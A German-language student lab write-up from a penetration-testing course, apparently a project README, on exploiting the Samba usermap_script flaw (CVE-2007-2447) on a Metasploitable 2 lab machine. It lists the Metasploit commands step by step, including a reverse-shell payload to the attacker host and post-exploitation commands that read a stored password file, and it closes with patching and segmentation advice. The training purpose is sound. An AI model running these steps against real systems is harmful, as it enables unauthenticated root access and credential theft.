SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

RedTeam-SMB-PenTest

linux bash

Beschreibung

Dieses Projekt dokumentiert meinen Penetrationstest-Einsatz im Rahmen des Kurses CMIT 386 an der UMGC. Es konzentriert sich auf die Ausnutzung der Samba-SMB-usermap_script-Schwachstelle (CVE-2007-2447) auf Metasploitable 2 mit Metasploit von einer Kali-Linux-Angriffs-VM aus. Dieses Proof of Concept zeigt, wie eine Altsystem-Schwachstelle zu vollständiger Systemkompromittierung, Diebstahl von Anmeldedaten und Datenextraktion führen kann.

Übersicht der Schwachstelle

Die Schwachstelle liegt im Samba-Dienst auf Port 445, wo eine unsachgemäße Eingabevalidierung im Username-Map-Skript eine nicht authentifizierte Remote-Befehlsausführung ermöglicht. Bei Ausnutzung gewährt dies Angreifern Shell-Zugriff mit Root-Rechten.

Umgebung

Schritte zur Durchführung

1. Metasploit starten:

msfconsole

Stellen Sie sicher, dass sowohl der Angreifer-Host als auch die Opfermaschine gestartet sind und laufen.

2. Nach dem Exploit suchen:

search samba

3. Das passende Modul verwenden:

use exploit/multi/samba/usermap_script

4. Erforderliche Optionen festlegen:

set RHOST <target_ip>
set LHOST <attacker_ip>
set payload cmd/unix/reverse

5. Den Exploit ausführen:

exploit

6. Post-Exploitation-Befehle:

whoami
hostname
cd /redteam7/student3
cat mypass.txt

Reset-Anweisungen

Wenn die Sitzung hängt oder abbricht:

Metasploit zurücksetzen:

# Leave current shell
Ctrl C
exit
# Kill all background jobs
sessions -K             
jobs -K
# Restart Metasploit
msfconsole

Wichtige Erkenntnisse

Altsystem-Dienste wie Samba 3.0.20 mit usermap_script sind hochgradig verwundbar.
Die Ausnutzung dieser SMB-Schwachstelle gewährt Root-Shell-Zugriff.
Kritische Daten können mit einfachen Befehlen abgegriffen werden, was das reale Risiko verdeutlicht.
Dies belegt die Notwendigkeit von Patches, Segmentierung und der Reduzierung der Dienstexposition.

Empfehlungen

Patchen oder stilllegen Sie Altsysteme sofort.
Implementieren Sie strikte Netzwerksegmentierung und Firewall-Regeln.
Beschränken Sie die SMB-Exposition ausschließlich auf interne, authentifizierte Benutzer.
Überwachen Sie Protokolle auf verdächtige Aktivitäten und laterale Bewegungen.

Angreifer-VM	Kali Linux
Opfer-VM	Metasploitable 2
Zielport	445 (Samba/SMB)
Verwendeter Exploit	`exploit/multi/samba/usermap_script`
Ziel der Anmeldedaten	`/redteam7/student3/mypass.txt`

Beliebteste

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

RedTeam-SMB-PenTest

Beschreibung

Übersicht der Schwachstelle

Umgebung

Schritte zur Durchführung

1. Metasploit starten:

2. Nach dem Exploit suchen:

3. Das passende Modul verwenden:

4. Erforderliche Optionen festlegen:

5. Den Exploit ausführen:

6. Post-Exploitation-Befehle:

Reset-Anweisungen

Metasploit zurücksetzen:

Wichtige Erkenntnisse

Empfehlungen

Referenzen